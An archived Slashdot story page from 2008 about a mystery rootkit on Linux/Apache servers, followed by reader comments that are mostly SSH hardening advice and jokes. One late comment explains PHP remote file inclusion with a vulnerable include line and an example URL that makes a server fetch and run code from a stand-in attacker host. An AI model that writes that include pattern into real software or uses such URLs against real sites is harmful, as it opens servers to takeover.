Slashdot Log In
Mystery Malware Affecting Linux/Apache Web Servers
Posted by
Zonk
on Thu Jan 24, 2008 02:46 PM
from the duck-and-cover-like-tommy-the-turtle dept.
from the duck-and-cover-like-tommy-the-turtle dept.
lisah writes "Reports are beginning to surface that some Web servers running Linux and Apache are unwittingly infecting thousands of computers, exploiting vulnerabilities in QuickTime, Yahoo! Messenger, and Windows. One way to tell if your machine is infected is if you're unable to create a directory name beginning with a numeral. Since details are still sketchy, the best advice right now is to take proactive steps to secure your servers. 'We asked the Apache Software Foundation if it had any advice on how to detect the rootkit or cleanse a server when it's found. According to Mark Cox of the Apache security team, "Whilst details are thin as to how the attackers gained root access to the compromised servers, we currently have no evidence that this is due to an unfixed vulnerability in the Apache HTTP Server." We sent a similar query to Red Hat, the largest vendor of Linux, but all its security team could tell us was that "At this point in time we have not had access to any affected machines and therefore cannot give guidance on which tools would reliably detect the rootkit."'"
Related Stories
This discussion has been archived.
No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
Full
Abbreviated
Hidden
Loading... please wait.
Should have used IIS (Score:5, Funny)
Re:Should have used IIS (Score:4, Funny)
Parent
Re:Should have used IIS (Score:4, Funny)
Parent
Re:Should have used IIS (Score:5, Informative)
In all seriousness though, IIS 6 has a pretty darn good security track record; seemingly better than Apache 2's, even if it is blasphemy for me to say it. I've previously decried the use of raw vulnerability statistics to make comparative claims about different products' security [slashdot.org], but I think the fact that such a widely-deployed product as IIS 6 has been found to have only a single remote access vulnerability in the last four years [secunia.com] really speaks for itself.
I mean, I'm just a Unix guy who's never had much use for a Windows web server, but that's my $0.02...
Parent
LOLserver? (Score:5, Funny)
Parent
Re:LOLserver? (Score:5, Funny)
Parent
Re:LOLserver? (Score:4, Funny)
Parent
Re:Is Idiocracy coming true? (Score:5, Funny)
Parent
Something's fishy! (Score:5, Funny)
Re:Something's fishy! (Score:5, Informative)
Parent
Re:Something's fishy! (Score:5, Funny)
Parent
Re:Something's fishy! (Score:5, Funny)
and all sorts of weird stuff's started happening in the server room
Parent
Re:Something's fishy! (Score:4, Funny)
Now I google it and I see it's from a dumbass TV show. I'm pissed off.
Parent
mkdir 1 (Score:5, Insightful)
Yes, also if you can run your tummy while patting your head you aren't infected also.
I think.... this crazy idea is the virus!
Read it careful people... (Score:3, Informative)
Re:Read it careful people... (Score:5, Insightful)
Parent
What are the common factors? (Score:5, Insightful)
To figure out what the compromise vector is, it's probably going to be necessary to figure out what the compromised servers have in common -- and how that differs from uncompromised servers. (Keeping in mind that currently-uncompromised servers may have the same vulnerability, and that attackers or their software just may not have gotten to them yet.)
I'd suggest enumerating factors such as OS, OS version, remote access methods (ssh, ftp, etc.), Apache versions, Apache modules, add-ons like CPanel, network/ASN, and so on -- anything could be a culprit at this point.
And that includes things that have nothing to do with Linux or Apache: for example, it's possible that the attackers acquired root passwords by infecting Windows systems used by administrators -- then just waited for them to initiate ssh sessions to their servers. It'd probably be best to leave all possibilities open and consider them equally likely until evidence starts accumulating in favor of/against them. (In re-reading that last statement, I suppose it sounds a bit trite. I'm just trying to discourage premature conclusions that anything is at fault until somebody can produce evidence to support saying so.)
Re:What are the common factors? (Score:5, Insightful)
Parent
Re:Fail2ban (Score:5, Informative)
Parent
Re:What are the common factors? (Score:4, Informative)
Other info as of last week:
Various discussions:
http://www.webhostingtalk.com/showthread.php?t=651748 [webhostingtalk.com]
(useful discussion starts on page 3 or so)
http://www.theregister.co.uk/2008/01/11/mysterious_web_infection/ [theregister.co.uk]
(describes the inability of ScanSafe to work out what's happening)
Trend have a piece on their blog:
http://blog.trendmicro.com/e-commerce-sites-invaded/ [trendmicro.com]
SANS/ISC
http://isc.sans.org/diary.php?storyid=3834&rss [sans.org]
Parent
The register's older writeup on this ... (Score:5, Informative)
my $.02 of course
ssh + bad password (Score:5, Informative)
* Don't allow root to ssh into your machine.
* Disable ssh1.
* Limit sudoers.
* Have good passwords.
* ???
* PROFIT!!
Seems like a formula everyone should know.
Re:ssh + bad password (Score:5, Interesting)
Parent
Re:ssh + bad password (Score:5, Informative)
I'll see your good point, and raise you a pf.conf snippet:
That's how you can block non-massively-distributed password dictionary attacks on the BSDs, anyway. Sadly, the fact that OpenBSD's firewall can perform this task on its own means that we probably won't see this feature worked into OpenSSH itself any time soon -- so on Linux you'll need a third-party script such as DenyHosts [sourceforge.net], as others have already pointed out.
(And yeah, unlike this PF configuration, DenyHosts lets you synchronize your table with a sort of universal blacklist of blocked hosts, so some might choose to run it on BSD anyway. It sounds like a good idea on paper, but boy does it suck when your home IP address keeps inexplicably winding up on the blacklist due to what turns out to be a single site's massively misconfigured server.)
But I think the most important lesson to be learned here, assuming that this thing does turn out to be an ssh attack, is that allowing single-factor, password-based administrative logins to a highly connected host is never a good idea. If you have the luxury of complete control over the site and its users (or are simply a highly empowered BOFH), disable password-based logins entirely and force the use of ssh public keys:
As a concession, if you want to ensure access without having to carry around an encryption key on a USB dongle, on Linux you can use PAM and libpam-opie to set up secondary access using a dual-factor combination of an S/Key one-time password and your regular login password (S/Key [wikipedia.org] is like Steve Gibson's much-trumpeted "Perfect Paper Passwords [grc.com]" system, which is ingenious in its own right, except that S/Key is designed so that you don't need to keep your secret key stored unencrypted on the very server you're worried about protecting):
With the above configuration you can still log in seamlessly using your ssh private key. But if you get stuck somewhere without access to your private key, you just pull your S/Key passwords list out of your pocket and enter the next password in the sequence, as prompted, followed by your login password. This PAM configuration has the nice property that if you enter the correct S/Key password but then an incorrect Unix password, you will be asked for the next one-time password in the sequence before you can continue: so unless your attacker is exceptionally good at plaintext attacks on large cryptographic hashes, a successful brute-force attack becomes impossible.
Wow, this post got a lot longer than I wanted it to... I'm, um, going out to get some fresh air or something.
Parent
Re:ssh + bad password (Score:4, Informative)
I've had admins on my network simply copy both pub & private ssh keys from server to server (they're in the same directory). They leave the private keys on the machine and forget or don't know what they've done. An attacker with root on that machine can then su into the account and access other machines.
Parent
More details are available... (Score:4, Informative)
http://blog.trendmicro.com/e-commerce-sites-invaded/ [trendmicro.com]
If you happen to have one of these compromised systems, I am sure that Trend would like to talk to you about it...
I'm not sure I buy it (Score:5, Insightful)
I would bet the path of the TCP/IP packets route through compromised providers who have an injection strategy. Remember a few months ago how IPSs were injecting their own java script and ads into the pages of other sites?
http://ars.userfriendly.org/cartoons/?id=20070703 [userfriendly.org]
This is the most likely scenario I can think of.
Re:Ubuntu as well? (Score:4, Insightful)
so basically its most likely they used the traditional means of gaining access (not through holes, but merely through bad personal security practices regarding passwords and password management). And it only affects windows clients. So how is this problem not your typical someone cracked your machine? Oh wait, I smell Microsoft FUD... ewwwwww
Parent
Re:Ubuntu as well? (Score:5, Insightful)
Parent
Re:Ubuntu as well? (Score:4, Insightful)
Other than using and safeguarding secure root passwords, not much can be done at this time to be proactive in preventing servers from being compromised,
Turn off root's log in and get rid of cPanel and similar programs as well. I understand the need for an easy to use remote admin tool (as much as I'd love people to actually learn the shell), but can't we do better than a web-based program for this stuff?
Parent
Re:Ubuntu as well? (Score:4, Interesting)
GUIs provide metaphors for users, they have no place in administration.
</grumpyOldFart>
Parent
Re:Ubuntu as well? (Score:5, Insightful)
If the current thinking is indeed that the Linux servers were inappropriately accessed through stolen passwords, how is that a security flaw of Linux or Apache? Like he asked, how is using a legitimate password equal to cracking the server?
On the other hand, turning Windows clients into bots *IS* an example of that software's (and QuickTime's and Yahoo! Messenger's) insecurity and vulnerability!
Parent
Re:Ubuntu as well? (Score:4, Insightful)
It's possible to install software on a Linux webserver that exploits vulnerabilities in Windows clients. This is news?
Here's a shocker: it's possible to exploit Windows boxes with services hosted on a Commodore64.
Windows has more malware packages than legitimate software packages. They've really solved that ease of installation problem.
Parent
Re:Ubuntu as well? (Score:4, Funny)
Parent
Re:Ubuntu as well? (Score:5, Funny)
Parent
Re:Funny (Score:5, Insightful)
Problems with IIS were as a result of vulns in the application and/or Windows operating system - totally different problem.
Would you blame a lock company if the user left his keys in the lock?
Ed
Parent
Re:Funny (Score:5, Insightful)
In other words, they have no idea how the servers were compromised. Because they can't find out how, they're guessing it was a root password that was stolen. In other words, its still just as likely a flaw in some software.
Parent
Re:Funny (Score:5, Insightful)
A pretty good guess, otherwise we could expect to see millions of Apache web servers compromised (there are over 75 million Apache web servers in active service) and anticipate a much greater number of Windows clients infected.
The significance of this story is not that Windows clients are the target, the significance is that the infecting agent is originating from Apache/Linux servers.
Ed
Parent
Re:Funny (Score:5, Funny)
Depends. How good is my lawyer?
Parent
Re:Funny (Score:4, Funny)
I think their class restricts them to Lawful Evil; should they change alignment, they et disbarred. So, none, at a guess.
Parent
Re: (Score:3, Informative)
I think it's funny that Apache is affected by the same drama that affected IIS all those years ago.
Except IIS had security hole after security hole.
There's been no such security hole found in apache yet. So I'd wait before making comparisons to IIS.
Re:Am I safe? (Score:5, Funny)
Maybe; they're still compiling it.
Parent
Re:Am I safe? (Score:5, Funny)
Parent
Re:Am I safe? (Score:5, Funny)
Parent
Re:Software sucks. (Score:5, Insightful)
1) If the market really wanted extensive 'software liability' then we'd already have it. Customers would demand it, suppliers would figure out how much it would cost to provide it, and prices would sort themselves out. Turns out the prices go WAY up, and customers (most of them) don't want to pay them.
2) What happens to Linux in a world with mandatory software liability? Who is liable? The company providing install and support? The volunteer contributor who wrote that line of code? The project maintainer who accepted the patch?
Parent
Re:Software sucks. (Score:5, Funny)
Parent
Re:Software sucks. (Score:5, Insightful)
Even then, there is no ability to develop your skills because you spend 99% of your time learning new environments.
Software is HUGELY complex these days and it takes a log of study, knowledge, and skill to be any good at it. Companies don't want to hear that. They want to increase productivity by "KLOC." (Un)fortunately, there is a lot of "art" and "creativity" in software development and without well defined product specs, rigid test plans, and quality assurance which adds delays and cost to a project you won't get better code.
Standard business upside potential vs downside risk. Upside potential: first to market, profit!!! Downside risk: blame some hacker.
Parent
Re:Can't be malware (Score:4, Insightful)
*sniff sniff* Is something burning?
Parent
Re:Hummm, no ahah ?! (Score:4, Funny)
Parent
Re:Mystery h18.ru requests?? (Score:5, Informative)
If you code does this:
incdlue($_GET['module']."/index.php");
The attacker does this:
http://yoursite.com?module=http://evilhacker.com/code.txt [yoursite.com]?
Your php then gets and runs code.txt, which of course is actually php code.
Makes for a *very* easy and cheap way of taking over servers.
mod_security protects against this pretty well with an easy regex rule.
Parent